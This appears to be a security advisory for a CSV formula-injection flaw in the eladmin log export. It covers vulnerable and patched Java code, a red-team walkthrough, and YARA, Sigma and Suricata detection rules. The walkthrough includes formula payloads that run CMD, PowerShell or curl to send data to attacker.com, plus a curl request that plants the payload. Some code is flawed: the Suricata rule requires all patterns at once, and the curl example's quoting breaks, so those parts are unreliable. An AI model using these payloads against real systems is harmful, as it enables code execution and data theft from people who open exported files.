CVE-2025-22978

Executive Summary

CVE-2025-22978 identifies a CSV Injection vulnerability in the eladmin framework, specifically within the exception log download module. This vulnerability affects eladmin versions up to and including 2.7. An attacker can exploit this flaw by injecting malicious formulas (e.g., =, +, -, @) into log entries that are later exported as a CSV file. When a victim opens the CSV file in a spreadsheet application like Microsoft Excel or LibreOffice Calc, the injected formulas are executed, potentially leading to remote code execution, data exfiltration, or further compromise of the victim's system.

The vulnerability is classified under CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). The CVSS v3.1 base score is 8.8 (High), with a vector string of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack vector is network-based, requires low complexity, no privileges, but does require user interaction (the victim must open the malicious CSV file). The impact on confidentiality, integrity, and availability is high.

Supply Chain & Package Security

This vulnerability affects the eladmin framework, which is a Java-based backend management system. The vulnerable component is the exception log download module, which is part of the core eladmin package. As of the latest information, no official patch has been released. Users are advised to monitor the official eladmin repository for updates and apply any patches as soon as they become available. The supply chain risk is moderate, as the vulnerability is in a widely used component for logging and error handling.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): Required (R) – The victim must open the malicious CSV file.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: High. The vulnerability is easy to exploit and can lead to complete compromise of the victim's system. The requirement for user interaction slightly reduces the risk, but social engineering can easily overcome this.

Deep Dive & Mechanics

The vulnerability resides in the exception log download module of eladmin. When an administrator or user with appropriate permissions downloads the exception logs as a CSV file, the application does not properly sanitize the log entries. If an attacker can inject a log entry that contains a malicious formula (e.g., =CMD|' /C calc'!A0), that formula will be included in the CSV file without proper escaping.

When the CSV file is opened in a spreadsheet application, the application interprets the leading = character as the start of a formula and executes it. This can lead to:

• Remote Code Execution (RCE): Using functions like CMD or POWERSHELL in Excel.
• Data Exfiltration: Using functions like WEBSERVICE or HYPERLINK to send data to an attacker-controlled server.
• Further Compromise: The attacker can use the victim's system as a pivot point.

The injection point is the log message itself. An attacker must first find a way to inject a malicious log entry. This could be through:

• User Input Fields: If the application logs user input (e.g., username, search queries) without sanitization.
• API Endpoints: If the application logs API request parameters.
• Error Messages: If the application logs error messages that include user-controlled data.

Once the malicious log entry is created, the attacker waits for an administrator to download the exception logs. The attacker can also directly trigger the download if they have the necessary permissions.

Vulnerable vs. Patched Code

Vulnerable Code (eladmin <= 2.7):

The vulnerable code is in the exception log download module. The following is a simplified representation of the vulnerable logic:

// Vulnerable: No sanitization of log entries before CSV export
public void exportLogsToCSV(List<LogEntry> logs, HttpServletResponse response) {
    StringBuilder csvContent = new StringBuilder();
    csvContent.append("Timestamp,Level,Message\n");
    for (LogEntry log : logs) {
        csvContent.append(log.getTimestamp()).append(",");
        csvContent.append(log.getLevel()).append(",");
        csvContent.append(log.getMessage()).append("\n"); // No sanitization
    }
    response.setContentType("text/csv");
    response.setHeader("Content-Disposition", "attachment; filename=exception_logs.csv");
    response.getWriter().write(csvContent.toString());
}

Patched Code (Hypothetical):

A patched version would sanitize the log entries to prevent CSV injection. The following is a hypothetical patch:

// Patched: Sanitize log entries to prevent CSV injection
public void exportLogsToCSV(List<LogEntry> logs, HttpServletResponse response) {
    StringBuilder csvContent = new StringBuilder();
    csvContent.append("Timestamp,Level,Message\n");
    for (LogEntry log : logs) {
        csvContent.append(sanitizeForCSV(log.getTimestamp())).append(",");
        csvContent.append(sanitizeForCSV(log.getLevel())).append(",");
        csvContent.append(sanitizeForCSV(log.getMessage())).append("\n");
    }
    response.setContentType("text/csv");
    response.setHeader("Content-Disposition", "attachment; filename=exception_logs.csv");
    response.getWriter().write(csvContent.toString());
}

private String sanitizeForCSV(String input) {
    if (input == null) {
        return "";
    }
    // Escape leading special characters
    if (input.startsWith("=") || input.startsWith("+") || input.startsWith("-") || input.startsWith("@")) {
        input = "'" + input;
    }
    // Escape double quotes by doubling them
    input = input.replace("\"", "\"\"");
    // Wrap in double quotes if contains comma, newline, or double quote
    if (input.contains(",") || input.contains("\n") || input.contains("\"")) {
        input = "\"" + input + "\"";
    }
    return input;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the eladmin application (any version <= 2.7).
• Ability to inject a log entry (e.g., through user input or API).
• Victim must open the exported CSV file in a spreadsheet application.

Exploitation Steps:

1. Identify Injection Point: Find a field that is logged in the exception log module. Common targets include username, search query, or error message.

2. Craft Payload: Create a malicious payload that will be executed when the CSV is opened. Example payloads:

   • Windows (CMD): =CMD|' /C calc'!A0 (opens calculator)
   • Windows (PowerShell): =POWERSHELL|' -Command "Invoke-WebRequest -Uri http://attacker.com/exfil?data=$(whoami)"'!A0
   • Linux (LibreOffice): =SHELL|'/bin/bash -c "curl http://attacker.com/exfil?data=$(whoami)"'!A0

3. Inject Payload: Submit the payload through the identified injection point. For example, if the username field is logged, register a user with the payload as the username.

4. Trigger Download: Wait for an administrator to download the exception logs, or if you have permissions, download them yourself.

5. Execute Payload: When the victim opens the CSV file, the payload executes.

Lab Setup:

• Target: eladmin 2.7 running on a local server (e.g., Docker).
• Attacker Machine: Kali Linux with a web server to receive exfiltrated data.
• Victim Machine: Windows 10 with Microsoft Excel installed.

Example Payload Injection:

# Using curl to register a user with a malicious username
curl -X POST http://target.eladmin.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username": "=CMD|' /C calc'!A0", "password": "test123"}'

Blue Team

Detection and Prevention:

1. Input Validation: Implement strict input validation on all fields that are logged. Reject or sanitize any input that starts with =, +, -, or @.

2. CSV Sanitization: Ensure that the CSV export function properly sanitizes all fields. Use a library like Apache Commons CSV or implement custom sanitization.

3. User Awareness: Train users to be cautious when opening CSV files, especially from untrusted sources. Enable "Protected View" in Excel.

4. Log Monitoring: Monitor for suspicious log entries that contain formula-like characters. Alert on such entries.

5. Network Segmentation: Limit the ability of the eladmin server to make outbound connections to prevent data exfiltration.

Indicators of Compromise (IOCs)

• Log Entries: Log entries containing =, +, -, or @ at the beginning of a field.
• Network Traffic: Outbound connections from a victim machine to an attacker-controlled server after opening a CSV file.
• Process Execution: Unexpected execution of cmd.exe, powershell.exe, or other shell commands on the victim machine.
• File Creation: Creation of suspicious files (e.g., .exe, .ps1) in temporary directories.

Example IOC (Log Entry):

2025-03-15 10:30:00, ERROR, =CMD|' /C calc'!A0

Example IOC (Network Traffic):

GET /exfil?data=username HTTP/1.1
Host: attacker.com

Detection Engineering

YARA Rule

rule CVE_2025_22978_CSV_Injection {
    meta:
        description = "Detects CSV injection payloads in log files or CSV exports"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2025-22978"
        severity = "high"
    strings:
        $payload1 = "=CMD|" ascii wide nocase
        $payload2 = "=POWERSHELL|" ascii wide nocase
        $payload3 = "=SHELL|" ascii wide nocase
        $payload4 = "=HYPERLINK|" ascii wide nocase
        $payload5 = "=WEBSERVICE|" ascii wide nocase
        $payload6 = "=EXEC|" ascii wide nocase
        $payload7 = "=DDE|" ascii wide nocase
        $payload8 = /^[=+\-@].*/ ascii wide
    condition:
        any of ($payload1, $payload2, $payload3, $payload4, $payload5, $payload6, $payload7) or
        ($payload8 and filesize < 10MB)
}

Sigma Rule

title: CSV Injection Payload in Log Entry
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects log entries containing CSV injection payloads
author: Valters IT
date: 2025/03/15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22978
logsource:
    category: application
    product: eladmin
detection:
    selection:
        - Message|contains: "=CMD|"
        - Message|contains: "=POWERSHELL|"
        - Message|contains: "=SHELL|"
        - Message|contains: "=HYPERLINK|"
        - Message|contains: "=WEBSERVICE|"
        - Message|contains: "=EXEC|"
        - Message|contains: "=DDE|"
        - Message|re: "^[=+\-@]"
    condition: selection
falsepositives:
    - Legitimate use of formulas in log messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22978 CSV Injection Payload in HTTP Request"; flow:to_server; content:"=CMD|"; nocase; content:"=POWERSHELL|"; nocase; content:"=SHELL|"; nocase; content:"=HYPERLINK|"; nocase; content:"=WEBSERVICE|"; nocase; content:"=EXEC|"; nocase; content:"=DDE|"; nocase; pcre:"/^[=+\-@]/R"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade eladmin: If a patched version becomes available, upgrade immediately.
2. Apply Virtual Patch: If no patch is available, implement a Web Application Firewall (WAF) rule to block requests containing CSV injection payloads.
3. Disable CSV Export: Temporarily disable the exception log download module if possible.

Long-Term Fixes:

1. Code Fix: Implement proper CSV sanitization as shown in the patched code example.
2. Input Validation: Add server-side validation to reject or sanitize input that starts with =, +, -, or @.
3. Security Training: Train developers on secure coding practices, specifically regarding CSV injection.

Workarounds:

1. User Education: Warn users about the risks of opening CSV files from the application.
2. Protected View: Enable "Protected View" in Excel to prevent automatic execution of formulas.
3. Alternative Format: Export logs in a safer format like JSON or XML instead of CSV.

Valters IT
Securing Your Digital Frontier